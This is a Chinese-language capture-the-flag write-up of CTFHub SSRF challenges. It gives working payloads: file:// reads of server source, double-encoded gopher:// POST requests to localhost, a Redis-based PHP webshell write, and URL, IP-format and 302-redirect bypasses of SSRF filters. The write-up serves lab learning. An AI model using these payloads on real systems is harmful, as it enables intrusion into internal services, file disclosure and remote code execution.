SSRF POST请求
提示信息:
这次是发一个HTTP POST请求.对了.ssrf是用php的curl实现的.并且会跟踪302跳转.加油吧骚年
首先测试了http的服务请求,出现对话框
输入数值后提示:只能接受来自127.0.0.1的请求
右键查看源码发现key值
通过file协议读取flag.php页面的源码
构造 Payload:
?url=file:///var/www/html/flag.php
flag.php源码如下
<?php
error_reporting(0);
if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
echo "Just View From 127.0.0.1";
return;
}
$flag=getenv("CTFHUB");
$key = md5($flag);
if (isset($_POST["key"]) && $_POST["key"] == $key) {
echo $flag;
exit;
}
?>
<form action="/flag.php" method="post">
<input type="text" name="key">
<!-- Debug: key=<?php echo $key;?>-->
</form>
尝试使用gopher 协议向服务器发送 POST 包,构造 gopher协议所需的 POST请求:
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Length: 36
Content-Type: application/x-www-form-urlencoded
key=fb00a2abc4b635472a398e19c222e665
在向服务器发送请求时,首先浏览器会进行一次 URL解码,其次服务器收到请求后,在执行curl功能时,进行第二次 URL解码。
需要对构造的请求包进行两次 URL编码:
一、将构造好的请求包进行第一次 URL编码:
在第一次编码后的,将%0A替换为%0D%0A。
因为 Gopher协议包含的请求数据包中,可能包含有=、&等特殊字符,避免与服务器解析传入的参数键值对混淆,所以对数据包进行 URL编码,这样服务端会把%后的字节当做普通字节。
二、二次URL编码得到如下 Gopher请求内容:
curl功能向目标发送 POST请求,构造如下Payload:
?url=gopher://127.0.0.1:80/_POST%2520%252Fflag.php%2520HTTP%252F1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Length%253A%252036%250D%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250D%250A%250D%250Akey%253Dfb00a2abc4b635472a398e19c222e665
返回的页面请求如下
上传文件
提示信息:这次需要上传一个文件到flag.php了.祝你好运
进入到页面中,会看到是文件上传的页面,但是没有提交页面的请求,那么首先就在前端页面构造一个submit的请求方式。
(仿照"浏览"按钮)
点击提交的同时burp抓包
然后将其POST的/flag.php添加地址127.0.0.1,然后再将其整个POST请求包进行URL编码
之后将%0A替换成%0D%0A,进行第二次编码。
然后返回到起始的上传文件页面之后,抓取GET请求包
最后将GET请求包中的目录进行替换,替换成方才二次编码好的数据。之后在前面添加gopher://127.0.0.1:80的地址,注意“_”不可或缺,之后发送请求包就可以得到flag
redies协议
提示:这次来攻击redis协议吧.redis://127.0.0.1:6379,资料?没有资料!自己找!
1.在kali上面输入命令:
python gophers.py --exploit redis
然后选择攻击模式和构造shell
第一个选项这里我们填写php,因为我们需要的是phpshell
第二个选项可以不填,默认根路径为/var/www/html
第三个就写入我们的shell代码
最后会生成指定的URL编码,认的写入文件名是shell.php 命令参数是qq
进行第二次url编码时,不需要再将%0a换为%0d%0a了,因为生成的payload已经替换
然后二次编码之后,输入payload之后显示504 Gateway Time-out,就代表了我们成功写入shell了,蚁剑连接查看就可以得到flag或者可以用get请求的方式直接回显在页面上
URL Bypass
提示信息:
请求的URL中必须包含http://notfound.ctfhub.com,来尝试利用URL的一些特殊地方绕过这个限制吧。
利用@符号
构造PAYLOAD
http://challenge-27d5969fefffeb6b.sandbox.ctfhub.com:10800/?url=http://notfound.ctfhub.com@127.0.0.1/flag.php
数字IP Bypass
提示信息;
这次ban掉了127以及172.不能使用点分十进制的IP了。但是又要访问127.0.0.1。该怎么办呢
构造payload
①
http://challenge-27d5969fefffeb6b.sandbox.ctfhub.com:10800/?url=http://017700000001#十六进制
②
http://challenge-27d5969fefffeb6b.sandbox.ctfhub.com:10800/?url=http://2130706433
1
302跳转 Bypass
提示信息:
SSRF中有个很重要的一点是请求可能会跟随302跳转,尝试利用这个来绕过对IP的检测访问到位于127.0.0.1的flag.php吧
http://127.0.0.1/flag.php # 将这条链接生成短链接
利用如下生成短链接:
https://www.toolnb.com/tools/duanwangzhi.html
http://challenge-27d5969fefffeb6b.sandbox.ctfhub.com:10800/?url=https://shorturl.at/lwADO